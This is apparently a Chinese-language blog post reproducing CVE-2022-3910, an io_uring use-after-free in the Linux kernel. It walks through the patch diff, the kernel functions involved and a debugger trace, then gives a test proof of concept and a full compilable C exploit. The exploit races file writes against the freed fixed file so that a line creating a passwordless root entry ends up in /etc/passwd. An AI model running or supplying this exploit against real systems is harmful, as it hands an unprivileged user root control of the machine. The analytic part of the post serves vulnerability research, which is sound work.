序
复现环境及exp源码:CVE-2022-3910
diff --git a/io_uring/msg_ring.c b/io_uring/msg_ring.c
index 976c4ba68ee7ec..4a7e5d030c782f 100644
--- a/io_uring/msg_ring.c
+++ b/io_uring/msg_ring.c
@@ -165,7 +165,8 @@ done:
req_set_fail(req);
io_req_set_res(req, ret, 0);
/* put file to avoid an attempt to IOPOLL the req */
- io_put_file(req->file);
+ if (!(req->flags & REQ_F_FIXED_FILE))
+ io_put_file(req->file);
req->file = NULL;
return IOU_OK;
}
io_msg_ring
函数中调用函数io_put_file
static int io_msg_ring(struct io_kiocb *req, unsigned int issue_flags)
{
struct io_ring_ctx *target_ctx;
struct io_msg *msg = &req->msg;
bool filled;
int ret;
ret = -EBADFD;
if (req->file->f_op != &io_uring_fops)
goto done;
ret = -EOVERFLOW;
target_ctx = req->file->private_data;
spin_lock(&target_ctx->completion_lock);
filled = io_fill_cqe_aux(target_ctx, msg->user_data, msg->len, 0);
io_commit_cqring(target_ctx);
spin_unlock(&target_ctx->completion_lock);
if (filled) {
io_cqring_ev_posted(target_ctx);
ret = 0;
}
done:
if (ret < 0)
req_set_fail(req);
__io_req_complete(req, issue_flags, ret, 0);
/* put file to avoid an attempt to IOPOLL the req */
io_put_file(req->file);
req->file = NULL;
return 0;
}
io_put_file
static inline void io_put_file(struct file *file)
{
if (file)
fput(file);
}
refcount
递减,当文件的refcount
为0时将free掉这个文件。而该函数是通过io_issue_sqe
函数的IORING_OP_MSG_RING
static int io_issue_sqe(struct io_kiocb *req, unsigned int issue_flags)
{
const struct io_op_def *def = &io_op_defs[req->opcode];
const struct cred *creds = NULL;
int ret;
if (unlikely(!io_assign_file(req, issue_flags)))
return -EBADF;
if (unlikely((req->flags & REQ_F_CREDS) && req->creds != current_cred()))
creds = override_creds(req->creds);
if (!def->audit_skip)
audit_uring_entry(req->opcode);
_
switch (req->opcode) {
...
case IORING_OP_MSG_RING:
ret = io_msg_ring(req, issue_flags);
break;
...
default:
ret = -EINVAL;
break;
}
if (!def->audit_skip)
audit_uring_exit(!ret, ret);
if (creds)
revert_creds(creds);
if (ret)
return ret;
/* If the op doesn't have a file, we're not polling for it */
if ((req->ctx->flags & IORING_SETUP_IOPOLL) && req->file)
io_iopoll_req_issued(req, issue_flags);
return 0;
}
io_uring
中的fixed file
opcode
isIORING_REGISTER_BUFFERS
, the io_uring subsystem will perform the setup work for thenr_args
buffers pointed to byarg
and keep the result; those buffers can then be used multiple times without paying that setup cost each time. If, instead,opcode
isIORING_REGISTER_FILES
, thenarg
is interpreted as an array ofnr_args
file descriptors. Each file in that array will be referenced and held open so that, once again, it can be used efficiently in multiple operations. These file descriptors are called "fixed" in io_uring jargon.There are a couple of interesting aspects to fixed files. One is that the application can call
close()
on the file descriptor associated with a fixed file, but the reference within io_uring will remain and will still be usable. The other is that a fixed file is not referenced in subsequent io_uring operations by its file-descriptor number. Instead, operations use the offset where that file descriptor appeared in theargs
array during theio_uring_register()
call. So if file descriptor 42 was placed inargs[13]
发现对于一个正常文件,如果试图通过循环触发来递减引用计数并不能成功,查看一个正常文件的调用在什么地方对文件的引用计数进行了修改:
pwndbg> bt
#0 arch_atomic64_try_cmpxchg (new=7, old=<synthetic pointer>, v=0xffff888100abe638) at ./arch/x86/include/asm/atomic64_64.h:190
#1 arch_atomic64_fetch_add_unless (u=0, a=1, v=0xffff888100abe638) at ./include/linux/atomic/atomic-arch-fallback.h:2368
#2 arch_atomic64_add_unless (u=0, a=1, v=0xffff888100abe638) at ./include/linux/atomic/atomic-arch-fallback.h:2388
#3 arch_atomic64_inc_not_zero (v=0xffff888100abe638) at ./include/linux/atomic/atomic-arch-fallback.h:2404
#4 arch_atomic_long_inc_not_zero (v=0xffff888100abe638) at ./include/linux/atomic/atomic-long.h:497
#5 atomic_long_inc_not_zero (v=0xffff888100abe638) at ./include/linux/atomic/atomic-instrumented.h:1854
#6 __fget_files_rcu (mask=16384, fd=0, files=0xffff8881002b4580) at fs/file.c:882
#7 __fget_files (mask=16384, fd=0, files=0xffff8881002b4580) at fs/file.c:913
#8 __fget (mask=16384, fd=0) at fs/file.c:921
#9 fget (fd=fd@entry=0) at fs/file.c:926
#10 0xffffffff814587da in io_file_get_normal (req=req@entry=0xffff888100cea200, fd=fd@entry=0) at fs/io_uring.c:8609
#11 0xffffffff8145de3c in io_assign_file (issue_flags=2147483649, req=0xffff888100cea200) at fs/io_uring.c:8318
#12 io_assign_file (req=0xffff888100cea200, issue_flags=2147483649) at fs/io_uring.c:8310
#13 0xffffffff81461543 in io_issue_sqe (req=req@entry=0xffff888100cea200, issue_flags=issue_flags@entry=2147483649) at fs/io_uring.c:8329
#14 0xffffffff81464d1e in io_queue_sqe (req=0xffff888100cea200) at fs/io_uring.c:8729
#15 io_submit_sqe (sqe=0xffff888103c7c0c0, req=0xffff888100cea200, ctx=0xffff888100c37800) at fs/io_uring.c:8993
#16 io_submit_sqes (ctx=ctx@entry=0xffff888100c37800, nr=nr@entry=1) at fs/io_uring.c:9104
fget
static bool io_assign_file(struct io_kiocb *req, unsigned int issue_flags)
{
if (req->file || !io_op_defs[req->opcode].needs_file)
return true;
if (req->flags & REQ_F_FIXED_FILE)
req->file = io_file_get_fixed(req, req->cqe.fd, issue_flags);
else
req->file = io_file_get_normal(req, req->cqe.fd);
return !!req->file;
}
fixed file
会有不一样的处理:
io_file_get_fixed
static inline struct file *io_file_get_fixed(struct io_kiocb *req, int fd,
unsigned int issue_flags)
{
struct io_ring_ctx *ctx = req->ctx;
struct file *file = NULL;
unsigned long file_ptr;
io_ring_submit_lock(ctx, issue_flags);
if (unlikely((unsigned int)fd >= ctx->nr_user_files))
goto out;
fd = array_index_nospec(fd, ctx->nr_user_files);
file_ptr = io_fixed_file_slot(&ctx->file_table, fd)->file_ptr;
file = (struct file *) (file_ptr & FFS_MASK);
file_ptr &= ~FFS_MASK;
/* mask in overlapping REQ_F and FFS bits */
req->flags |= (file_ptr << REQ_F_SUPPORT_NOWAIT_BIT);
io_req_set_rsrc_node(req, ctx, 0);
WARN_ON_ONCE(file && !test_bit(fd, ctx->file_table.bitmap));
out:
io_ring_submit_unlock(ctx, issue_flags);
return file;
}
fixed file
,他是从file_table
里面根据固定fd
io_file_get_normal
static struct file *io_file_get_normal(struct io_kiocb *req, int fd)
{
struct file *file = fget(fd);
trace_io_uring_file_get(req->ctx, req, req->cqe.user_data, fd);
/* we don't allow fixed io_uring files */
if (file && file->f_op == &io_uring_fops)
io_req_track_inflight(req);
return file;
}
显然对于普通文件的处理逻辑是先使用fget增加引用计数再fput减少引用计数,这样就不会出现uaf的情况。
fixed file
在使用之后也不应该进行引用计数的递减操作。
gdb动调查看fixed file
的refcount
$2 = { counter = 2
fixed file
/etc/passwd
实现一个权限提升的目的?
dirtycred
显然满足我们的要求,参考发现使用该方法需要解决下面几个问题:
内存破坏漏洞,转换为能够置换 credential object 的原语。
2.如何延长文件的权限检查- 数据写入的竞争窗口。
写了一个小poc测试发现,当我们利用漏洞free之后马上open一个文件就会占用原本的空间:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <linux/kcmp.h>
#define QUEUE_DEPTH 64
#define BLOCK_SZ 1024
#define IORING_OP_MSG_RING 40
const char* colorGreen = "\033[1;32m";
const char* colorRed = "\033[1;31m";
const char* colorReset = "\033[0m";
int test_fd;
int attack_fd;
void myDbgputs(char* message){
printf("[%s+%s] %s\n", colorGreen, colorReset, message);
}
void myErrputs(char* message){
printf("[%sx%s] %s\n", colorGreen, colorReset, message);
}
void testuaf() {
struct io_uring ring;
struct io_uring_sqe *sqe;
char buffer[BLOCK_SZ];
io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
io_uring_register_files(&ring, &test_fd, 1);
for(int i = 0; i<3; i++)
{
sqe = io_uring_get_sqe(&ring);
sqe->flags = IOSQE_FIXED_FILE;
sqe->opcode = IORING_OP_MSG_RING;
sqe->fd = 0;
io_uring_submit(&ring);
}
io_uring_submit(&ring);
sleep(1);
myDbgputs("UAF!!!");
}
int main(int argc, char *argv[]) {
char buf[0x100];
int fd = open("/tmp/test", O_CREAT | O_WRONLY, 0777);
int test;
close(fd);
test_fd = open("/tmp/test", O_WRONLY);
sprintf((char *)buf, "fd: %d", test_fd);
myDbgputs(buf);
testuaf();
attack_fd = open("/etc/passwd", O_RDONLY);
test = syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, test_fd, attack_fd);
printf("test: %d\n", test);
}
权限检查- 数据写入的竞争窗口,首先我们看这个流程:
写入一个文件需要顺序执行:
1.文件权限检查(是否可写)
2.开始实际写入数据至文件
generic_perform_write()
1. 进程1先向低权限文件中写入大量数据(测试发现0.2G足够)
2.在进程1开始写后进程2先检查文件读写权限,此时为低权限状态,检测通过但由于进程1还未完成写操作,此时进程2会等待进程1
3.在进程1检查结束后开始进行uaf操作,将低权限文件换成特权文件
4.等进程1结束时,文件已经被篡改为了特权文件并通过了读写检查,此时我们的数据会被直接写入到特权文件中
// gcc t1dexp.c -o t1dexp -static -no-pie -s -luring
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <linux/kcmp.h>
#include <pthread.h>
#define QUEUE_DEPTH 64
#define BLOCK_SZ 1024
#define IORING_OP_MSG_RING 40
#define DATASIZE 0x20000000
const char* colorGreen = "\033[1;32m";
const char* colorRed = "\033[1;31m";
const char* colorReset = "\033[0m";
const char* testfile = "/tmp/test";
const char* attackfile = "/etc/passwd";
const char* attack_data = "root::0:0:root:/root:/bin/sh\n";
int test_fd;
int attack_fd;
pthread_spinlock_t lock_for_write;
pthread_spinlock_t lock_for_uaf;
void myDbgputs(char* message){
printf("[%s+%s] %s\n", colorGreen, colorReset, message);
}
void myErrputs(char* message){
printf("[%sx%s] %s\n", colorGreen, colorReset, message);
}
void testuaf() {
struct io_uring ring;
struct io_uring_sqe *sqe;
char buffer[BLOCK_SZ];
io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
io_uring_register_files(&ring, &test_fd, 1);
for(int i = 0; i<3; i++)
{
sqe = io_uring_get_sqe(&ring);
sqe->flags = IOSQE_FIXED_FILE;
sqe->opcode = IORING_OP_MSG_RING;
sqe->fd = 0;
io_uring_submit(&ring);
}
io_uring_submit(&ring);
sleep(1);
myDbgputs("Finish UAF");
}
void *pthread_for_write_useless() {
int fd = open(testfile, O_WRONLY);
void *addr = mmap(NULL, DATASIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
pthread_spin_unlock(&lock_for_write);
myDbgputs("Begin write large data");
write(fd, addr, DATASIZE);
myDbgputs("Finish write large data");
}
void *pthread_for_write_attackfile() {
pthread_spin_lock(&lock_for_write);
pthread_spin_unlock(&lock_for_uaf);
myDbgputs("Begin write attack file");
write(test_fd, attack_data, 30);
myDbgputs("Finish write attack file");
}
void *do_uaf() {
pthread_spin_lock(&lock_for_uaf);
myDbgputs("Begin UAF");
testuaf();
attack_fd = open(attackfile, O_RDONLY);
if(syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, test_fd, attack_fd) != 0){
myErrputs("Not the expected address");
exit(-1);
}
}
void initfirst()
{
pthread_spin_init(&lock_for_write, 0);
pthread_spin_init(&lock_for_uaf, 0);
pthread_spin_lock(&lock_for_write);
pthread_spin_lock(&lock_for_uaf);
}
void destory()
{
pthread_spin_destroy(&lock_for_uaf);
pthread_spin_destroy(&lock_for_write);
}
int main(int argc, char *argv[]) {
char buf[0x100];
pthread_t p1, p2;
initfirst();
int fd = open(testfile, O_CREAT | O_WRONLY, 0777);
close(fd);
test_fd = open(testfile, O_WRONLY);
sprintf((char *)buf, "fd: %d", test_fd);
myDbgputs(buf);
pthread_create(&p1, NULL, pthread_for_write_useless, NULL);
pthread_create(&p2, NULL, pthread_for_write_attackfile, NULL);
do_uaf();
pthread_join(p1, NULL);
pthread_join(p2, NULL);
destory();
return 0;
}
效果:
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://he.tld1027.com/2024/07/11/401/
共有 0 条评论